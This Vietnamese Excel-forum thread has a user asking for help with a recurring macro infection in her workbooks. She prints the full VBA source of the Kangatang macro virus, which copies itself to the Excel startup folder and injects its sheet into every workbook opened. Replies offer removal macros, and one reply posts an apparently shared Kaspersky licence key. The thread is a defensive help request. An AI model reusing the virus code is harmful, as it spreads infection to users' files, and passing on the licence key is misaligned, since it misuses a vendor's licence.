Cháu hỏi các bác và các anh chị đây có phải là virus không ạ (1 người xem)

hongphuong1997 · 26/10/24

Tất cả các file excel ccủa cháu đều có mà này, cháu đã xóa đi roài nhưng nó lại xuất hiện trở lại.
Cháu kính nhờ các bác và các anh chị tiêu diệt hộ cháu với ạ.
Cháu cảm ơn ạ.

Mã:

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

PhanTuHuong · 26/10/24

Con virus chết tiệt này nó đẻ ra cả đống Module đó. Bạn chạy thủ tục này:

Mã:

Sub KillVirus()
    Call DelKangatang
    Call KillFoxz
End Sub

'Xóa Module virus Kangatang
'Phan Tu Huong lâp
Sub DelKangatang()
    On Error Resume Next
  
    Dim ModulKang As Object
  
    For Each ModulKang In ThisWorkbook.VBProject.VBComponents
        If Left(ModulKang.Name, 9) = "Kangatang" Then
            ThisWorkbook.VBProject.VBComponents.Remove ModulKang
        End If
    Next
End Sub

'Diêt virus NEGS.xls
'Code suu tâm
Sub KillFoxz()
    Dim WB As Workbook
    On Error Resume Next
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    For Each WB In Workbooks
        WB.Sheets("foxz").Delete
    Next
    With Workbooks("NEGS.XLS")
        .ChangeFileAccess xlReadOnly
        Kill .FullName
        .Close False
    End With
    Application.EnableEvents = True
    Application.DisplayAlerts = True
End Sub

hongphuong1997 · 27/10/24

PhanTuHuong đã viết:

Con virus chết tiệt này nó đẻ ra cả đống Module đó. Bạn chạy thủ tục này:

Mã:

Sub KillVirus()
    Call DelKangatang
    Call KillFoxz
End Sub

'Xóa Module virus Kangatang
'Phan Tu Huong lâp
Sub DelKangatang()
    On Error Resume Next
 
    Dim ModulKang As Object
 
    For Each ModulKang In ThisWorkbook.VBProject.VBComponents
        If Left(ModulKang.Name, 9) = "Kangatang" Then
            ThisWorkbook.VBProject.VBComponents.Remove ModulKang
        End If
    Next
End Sub

'Diêt virus NEGS.xls
'Code suu tâm
Sub KillFoxz()
    Dim WB As Workbook
    On Error Resume Next
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    For Each WB In Workbooks
        WB.Sheets("foxz").Delete
    Next
    With Workbooks("NEGS.XLS")
        .ChangeFileAccess xlReadOnly
        Kill .FullName
        .Close False
    End With
    Application.EnableEvents = True
    Application.DisplayAlerts = True
End Sub

Cháu cảm ơn bác ạ, bác oi nhưng cháu chạy thì thủ tục nó không chạy bác oi.
Bác hướng dẫn cháu với ạ.
Có một anh cũng viết cho cháu thủ tục này, nhưng diệt nó xong chỉ vài tiếng sau nó lại xuất hiện bác oi.

Mã:

Sub RemoveMacrosFromFolder()
    Dim folderPath As String
    Dim fileName As String
    Dim wb As Workbook
    Dim vbComp As Object
    Dim StartLine As Long
    Dim ProcLines As Long
    Dim FileDialog As FileDialog
    Dim deletedMacroCount As Long
    Dim macroFound As Boolean

    ' M? h?p tho?i d? ch?n thu m?c
    Set FileDialog = Application.FileDialog(msoFileDialogFolderPicker)
    FileDialog.Title = "Ch?n thu m?c ch?a các file Excel"
    
    If FileDialog.Show = -1 Then
        folderPath = FileDialog.SelectedItems(1) & "\"
    Else
        MsgBox "Không ch?n thu m?c, k?t thúc."
        Exit Sub
    End If
    
    ' Ð?m s? file dã xóa macro
    deletedMacroCount = 0
    
    ' Duy?t qua t?t c? các file Excel trong thu m?c
    fileName = Dir(folderPath & "*.xls*") ' Tìm t?t c? các file có duôi .xls, .xlsm, .xlsx, .xlsb
    
    Application.DisplayAlerts = False
    On Error Resume Next
    
    Do While fileName <> ""
        ' M? t?ng file Excel
        Set wb = Workbooks.Open(folderPath & fileName)
        macroFound = False

        ' Ki?m tra và xóa macro Auto_Open và allocated
        For Each vbComp In wb.VBProject.VBComponents
            With vbComp.CodeModule
                ' Tìm và xóa macro Auto_Open n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("Auto_Open", vbext_pk_Proc)
                ProcLines = .ProcCountLines("Auto_Open", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
                
                ' Tìm và xóa macro allocated n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("allocated", vbext_pk_Proc)
                ProcLines = .ProcCountLines("allocated", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
            End With
        Next vbComp
        
        ' N?u macro dã du?c tìm th?y và xóa, d?m s? lu?ng file dã s?a
        If macroFound Then
            deletedMacroCount = deletedMacroCount + 1
            wb.Save
        End If
        
        wb.Close
        
        ' L?y file ti?p theo trong thu m?c
        fileName = Dir
    Loop

    Application.DisplayAlerts = True
    MsgBox "Ðã xóa macro trong " & deletedMacroCount & " file.", vbInformation
End Sub

zzzsxxx01 · 27/10/24

hongphuong1997 đã viết:

Tất cả các file excel ccủa cháu đều có mà này, cháu đã xóa đi roài nhưng nó lại xuất hiện trở lại.
Cháu kính nhờ các bác và các anh chị tiêu diệt hộ cháu với ạ.
Cháu cảm ơn ạ.

Mã:

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Trước mình cũng bị con virus như thế này, cách mình xóa là dùng phần mềm virus Kaspersky quét toàn bộ hệ thống là hết. Nếu bạn cài Kaspersky phiên bản Small Office thì mình chia sẽ key bản quyền hơn 700 ngày cho nhé

hongphuong1997 · 27/10/24

zzzsxxx01 đã viết:
Trước mình cũng bị con virus như thế này, cách mình xóa là dùng phần mềm virus Kaspersky quét toàn bộ hệ thống là hết. Nếu bạn cài Kaspersky phiên bản Small Office thì mình chia sẽ key bản quyền hơn 700 ngày cho nhé

Anh làm ơn chia sẻ cho em link dowload cài đặt và anh cho em xin Pass với nhé anh.
Em cảm ơn anh ạ.

zzzsxxx01 · 27/10/24

hongphuong1997 đã viết:
Anh làm ơn chia sẻ cho em link dowload cài đặt và anh cho em xin Pass với nhé anh.
Em cảm ơn anh ạ.

Small Office Security Tải thử nghiệm miễn phí | Kaspersky

Kaspersky Small Office Security cung cấp sự bảo vệ đẳng cấp thế giới chống lại tiền điện tử, phần mềm độc hại, lừa đảo và các rủi ro trực tuyến khác. Tải về một bản dùng thử miễn phí 30 ngày.

www.kaspersky.com.vn

Key: 99Q55-RY8QF-5TX9V-NFWRV
Nguồn mình được chia sẽ từ PITVN Community

hongphuong1997 · 27/10/24

zzzsxxx01 đã viết:
Small Office Security Tải thử nghiệm miễn phí | Kaspersky

Kaspersky Small Office Security cung cấp sự bảo vệ đẳng cấp thế giới chống lại tiền điện tử, phần mềm độc hại, lừa đảo và các rủi ro trực tuyến khác. Tải về một bản dùng thử miễn phí 30 ngày.

www.kaspersky.com.vn

Key: 99Q55-RY8QF-5TX9V-NFWRV
Nguồn mình được chia sẽ từ PITVN Community

Em cảm ơn anh rất nhiều ạ.

PhanTuHuong · 27/10/24

hongphuong1997 đã viết:

Cháu cảm ơn bác ạ, bác oi nhưng cháu chạy thì thủ tục nó không chạy bác oi.
Bác hướng dẫn cháu với ạ.
Có một anh cũng viết cho cháu thủ tục này, nhưng diệt nó xong chỉ vài tiếng sau nó lại xuất hiện bác oi.

Mã:

Sub RemoveMacrosFromFolder()
    Dim folderPath As String
    Dim fileName As String
    Dim wb As Workbook
    Dim vbComp As Object
    Dim StartLine As Long
    Dim ProcLines As Long
    Dim FileDialog As FileDialog
    Dim deletedMacroCount As Long
    Dim macroFound As Boolean

    ' M? h?p tho?i d? ch?n thu m?c
    Set FileDialog = Application.FileDialog(msoFileDialogFolderPicker)
    FileDialog.Title = "Ch?n thu m?c ch?a các file Excel"
   
    If FileDialog.Show = -1 Then
        folderPath = FileDialog.SelectedItems(1) & "\"
    Else
        MsgBox "Không ch?n thu m?c, k?t thúc."
        Exit Sub
    End If
   
    ' Ð?m s? file dã xóa macro
    deletedMacroCount = 0
   
    ' Duy?t qua t?t c? các file Excel trong thu m?c
    fileName = Dir(folderPath & "*.xls*") ' Tìm t?t c? các file có duôi .xls, .xlsm, .xlsx, .xlsb
   
    Application.DisplayAlerts = False
    On Error Resume Next
   
    Do While fileName <> ""
        ' M? t?ng file Excel
        Set wb = Workbooks.Open(folderPath & fileName)
        macroFound = False

        ' Ki?m tra và xóa macro Auto_Open và allocated
        For Each vbComp In wb.VBProject.VBComponents
            With vbComp.CodeModule
                ' Tìm và xóa macro Auto_Open n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("Auto_Open", vbext_pk_Proc)
                ProcLines = .ProcCountLines("Auto_Open", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
               
                ' Tìm và xóa macro allocated n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("allocated", vbext_pk_Proc)
                ProcLines = .ProcCountLines("allocated", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
            End With
        Next vbComp
       
        ' N?u macro dã du?c tìm th?y và xóa, d?m s? lu?ng file dã s?a
        If macroFound Then
            deletedMacroCount = deletedMacroCount + 1
            wb.Save
        End If
       
        wb.Close
       
        ' L?y file ti?p theo trong thu m?c
        fileName = Dir
    Loop

    Application.DisplayAlerts = True
    MsgBox "Ðã xóa macro trong " & deletedMacroCount & " file.", vbInformation
End Sub

Thôi, không thạo thì dùng phần mềm chuyên nghiệp. Dùng code VBA chỉ dành cho những ai có kiến thức lập trình thôi.

hongphuong1997 · 27/10/24

PhanTuHuong đã viết:
Thôi, không thạo thì dùng phần mềm chuyên nghiệp. Dùng code VBA chỉ dành cho những ai có kiến thức lập trình thôi.

Cháu cảm ơn bác rất nhiều ạ.

zzzsxxx01 · 27/10/24

hongphuong1997 đã viết:
Cháu cảm ơn bác rất nhiều ạ.

Giải quyết được vấn đề chưa bạn ?

hongphuong1997 · 28/10/24

zzzsxxx01 đã viết:
Giải quyết được vấn đề chưa bạn ?

Cảm ơn anh rất nhiều ạ, các vấn đề đã được giải quyết anh oi.
Nhưng 1 số file bị lỗi, em đang phải sửa lại.
Nhưng như vậy cũng rất tốt anh oi
Nếu không dùng cái này thì em nghĩ cài lại win cũng vẫn không tiêu diệt được con virus này

Cháu hỏi các bác và các anh chị đây có phải là virus không ạ (1 người xem)

Người dùng đang xem chủ đề này

hongphuong1997

Thành viên tiêu biểu

PhanTuHuong

VBA & VB.NET for Excel & AutoCad

hongphuong1997

Thành viên tiêu biểu

zzzsxxx01

Thành viên chính thức

hongphuong1997

Thành viên tiêu biểu

zzzsxxx01

Thành viên chính thức

Small Office Security Tải thử nghiệm miễn phí | Kaspersky

hongphuong1997

Thành viên tiêu biểu

Small Office Security Tải thử nghiệm miễn phí | Kaspersky

PhanTuHuong

VBA & VB.NET for Excel & AutoCad

hongphuong1997

Thành viên tiêu biểu

zzzsxxx01

Thành viên chính thức

hongphuong1997

Thành viên tiêu biểu

Bài viết mới nhất

Thành viên có số lượng bài viết cao nhất tháng

Thành viên có điểm tương tác cao nhất tháng

Đếm ngược thời gian